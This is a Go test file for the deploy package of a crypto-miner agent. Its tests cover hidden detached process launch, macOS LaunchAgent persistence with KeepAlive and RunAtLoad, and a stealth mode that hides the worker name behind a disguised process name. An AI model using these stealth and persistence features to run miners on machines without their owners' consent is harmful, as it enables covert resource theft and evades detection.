//go:build !windows package deploy import ( "os" "strings" "testing" "crypto-miner-agent/config" ) // ─── applyDetachedStart ─────────────────────────────────────────────────────── func TestApplyDetachedStartNilSafe(t *testing.T) { // Must not panic when passed nil. applyDetachedStart(nil) } func TestApplyDetachedStartClearsIO(t *testing.T) { // Build a real command and verify stdio is cleared. cmd := HiddenCommand("true") // Assign non-nil stdio to confirm applyDetachedStart clears them. r, w, _ := os.Pipe() defer r.Close() defer w.Close() cmd.Stdin = r cmd.Stdout = w cmd.Stderr = w applyDetachedStart(cmd) if cmd.Stdin != nil { t.Error("applyDetachedStart should set Stdin to nil") } if cmd.Stdout != nil { t.Error("applyDetachedStart should set Stdout to nil") } if cmd.Stderr != nil { t.Error("applyDetachedStart should set Stderr to nil") } } // ─── PersistenceKeyName ─────────────────────────────────────────────────────── func TestPersistenceKeyNameNormal(t *testing.T) { b := config.GetBuiltinConfig() b.WorkerName = "MyMiner" b.StealthMode = false cfg := config.RuntimeConfig{BuiltinConfig: b} key := PersistenceKeyName(cfg) if !strings.HasPrefix(key, "CryptoMiner-") { t.Errorf("PersistenceKeyName = %q, expected CryptoMiner- prefix", key) } if !strings.Contains(key, "MyMiner") { t.Errorf("PersistenceKeyName = %q, expected to contain worker name", key) } } func TestPersistenceKeyNameStealthMode(t *testing.T) { b := config.GetBuiltinConfig() b.WorkerName = "MyMiner" b.StealthMode = true cfg := config.RuntimeConfig{BuiltinConfig: b} key := PersistenceKeyName(cfg) // Stealth: uses effective process name, not worker name. if strings.Contains(key, "MyMiner") { t.Errorf("PersistenceKeyName in stealth = %q, should NOT contain worker name", key) } } // ─── HostOSVersion ─────────────────────────────────────────────────────────── func TestHostOSVersionNonEmpty(t *testing.T) { v := HostOSVersion() if v == "" { t.Error("HostOSVersion() should not be empty") } } // ─── LaunchAgent plist content validation (darwin-specific logic) ───────────── func TestConfigureLaunchAgentPlistContent(t *testing.T) { b := config.GetBuiltinConfig() b.WorkerName = "TestMiner" b.RunAs = "scheduled" cfg := config.RuntimeConfig{BuiltinConfig: b} // Write to a temp dir so we don't actually install anything. tmpHome := t.TempDir() origHome := os.Getenv("HOME") os.Setenv("HOME", tmpHome) defer os.Setenv("HOME", origHome) binPath := "/usr/local/bin/crypto-miner-agent" err := configureLaunchAgent(cfg, binPath) if err != nil { t.Fatalf("configureLaunchAgent: %v", err) } // Verify plist was written. label := "com.aetherforge." + sanitizeName(PersistenceKeyName(cfg)) plistPath := tmpHome + "/Library/LaunchAgents/" + label + ".plist" data, err := os.ReadFile(plistPath) if err != nil { t.Fatalf("plist not created: %v", err) } content := string(data) requiredStrings := []string{ "KeepAlive", "RunAtLoad", "", "ProcessType", "Background", } for _, s := range requiredStrings { if !strings.Contains(content, s) { t.Errorf("plist missing %q\ncontent:\n%s", s, content) } } }